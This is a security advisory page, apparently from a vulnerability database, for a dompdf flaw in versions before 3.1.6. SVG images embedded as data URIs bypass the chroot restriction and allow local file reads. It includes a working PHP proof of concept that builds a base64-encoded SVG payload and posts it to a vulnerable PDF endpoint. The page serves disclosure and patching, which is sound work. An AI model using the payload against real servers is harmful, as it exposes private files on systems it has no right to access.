Medium

Dompdf: Local file read due to improper file path validation in SVG images encoded as data-URI

  • Disclosed: 22.07.2026
  • Updated: 11.10.2026 10:22

Description: An attacker, who controls the HTML input supplied to dompdf, can read arbitrary images from the server’s file system, bypassing the chroot restriction. The vulnerability is exploitable in the default configuration. Exploitation conditions: An external user Researcher: Nikita Sveshnikov (Positive Technologies)

Research

dompdf restricts access to local files using the chroot mechanism. By default, chroot is set to the root directory of dompdf (Options.php:350-351):

Listing 1. chroot settings

php
$rootDir = realpath(__DIR__ . "/../");
$this->setChroot(array($rootDir));
// result: chroot = ["/path/to/vendor/dompdf/dompdf"]

When the HTML references a local file, Options::validateLocalUri() checks that the path resides within сhroot. A direct link to the file outside this directory is correctly blocked:

Listing 2. Blocking link

<!-- BLOCKED: /tmp/ is outside chroot -->
<img src="file:///tmp/secret.png">

How the protection is bypassed:

An attacker wraps the link to the target file in SVG format and delivers it via data: URI:

Listing 3. Wrapping link in SVG

<img src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0i...">

Inside the base64 payload is an SVG containing the <image> element that points to the target file:

Listing 4. Pointing to the target file

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"
     width="589" height="415">
  <image xlink:href="/tmp/secret.png" x="0" y="0" width="589" height="415"/>
</svg>

Why the bypass works:

The issue is that dompdf handles the SVG twice: first through its own validator and then via  php-svg-lib — and the second pass does not apply the protection that the first pass does.

Step 1. The data:// protocol has no validation rules (Options.php:546-547):

Listing 5. Lack of rules

case "data://":
    break;  // no rules

SVG content passes without any checks.

Step 2. dompdf pre‑parses the SVG and validates the links inside it (Cache.php:137-183), but incorrectly interprets the path of an external resource (image) reference when the SVG is data-URI encoded.

Step 3. When rendering, the PDF backend passes the SVG to php-svg-lib with external links enabled (lib/Cpdf.php:6315-6319):

Listing 6. Passing the SVG

php
$doc = new \Svg\Document();
$doc->allowExternalReferences = true;  // forced
$doc->loadFile($file);

php-svg-lib is a separate library that has no information about the chroot directory or the dompdf validation rules.

Step 4. The <image> handler in php-svg-lib blocks only phar://, everything else is allowed when allowExternalReferences is true (php-svg-lib/src/Svg/Tag/Image.php:60-68):

Listing 7. phar:// blocking

php
if ($scheme === "phar"
    || ($this->document->allowExternalReferences === false && $scheme !== "data")) {
    return;
}
$this->document->getSurface()->drawImage($this->href, ...);

Step 5. drawImage() invokes file_get_contents() with no restrictions (php-svg-lib/src/Svg/Surface/SurfaceCpdf.php:171-172):

Listing 8. file_get_contents() call

$data = file_get_contents($image);  // reads ANY path

There is no chroot check. No protocol validation. The file is read and embedded into the PDF.

An example of exploitation:

Listing 9. An example of a vulnerable code (html2pdf.php)

php
require_once __DIR__ . '/vendor/autoload.php';

$dompdf = new Dompdf\Dompdf();
$dompdf->loadHtml($_POST['html']);
$dompdf->render();
$dompdf->stream('poc.pdf', ['Attachment' => false]);

Listing 10. An example attack on the vulnerable code

$file = $_GET['file'] ?? '/tmp/user_files/user_1/private_image.png';

$svg = '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="589" height="415">'
     . '<image xlink:href="' . htmlspecialchars($file, ENT_QUOTES) . '" x="0" y="0" width="589" height="415"/>'
     . '</svg>';

$html = '<html><body>'
      . '<img src="data:image/svg+xml;base64,' . base64_encode($svg) . '">'
      . '</body></html>';

$url = 'http://example.com/html2pdf.php';
$data = ['html' => $html];
$headers = ["Content-type: application/x-www-form-urlencoded"];

// use key 'http' even if you send the request to https://...
$options = [
    'http' => [
        'header' => $headers,
        'method' => 'POST',
        'content' => http_build_query($data),
        'ignore_errors' => true,
    ],
];
$context = stream_context_create($options);
$response = file_get_contents($url, false, $context);

Figure 1. The image was read successfully <img width="875" height="404" alt="image" src="https://github.com/user-attachments/assets/9a4ba3b7-df24-4c20-9dc4-55104ad905c2" />

Credits

Nikita Sveshnikov (Positive Technologies)

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package dompdf/dompdf < 3.1.6 3.1.6

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness (CWE)
CWE-20, CWE-22
Platform
Composer
Package
dompdf/dompdf
Disclosed
22.07.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-cx96-42px-69fm - CC BY 4.0

Vulnerability history: dompdf/dompdf

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (20) in the archive
Total entries
20
First → latest
04.2022 07.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 5
  • High 3
  • Medium 10
  • Low 2

Disclosures per year

  1. 2022: 9
  2. 2023: 3
  3. 2024: 2
  4. 2025: 0
  5. 2026: 6
Severity:
  1. Dompdf: Local file read due to improper file path validation in SVG images encoded as data-URI this entry
    Medium CVE-2026-56722 < 3.1.6 3.1.6
  2. Critical · 9.8 CVE-2021-3838 < 2.0.0 2.0.0
  3. Critical · 10.0 CVE-2023-24813 >= 2.0.2, < 2.0.3 2.0.3
  4. Critical · 10.0 CVE-2023-23924 < 2.0.2 2.0.2
  5. High · 8.8 CVE-2014-5013 >= 0.6, < 0.6.2 0.6.2
  6. High CVE-2010-4879 >= 0.6, < 0.6.1 0.6.1
  7. Critical · 9.8 CVE-2022-28368 < 1.2.1 1.2.1

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.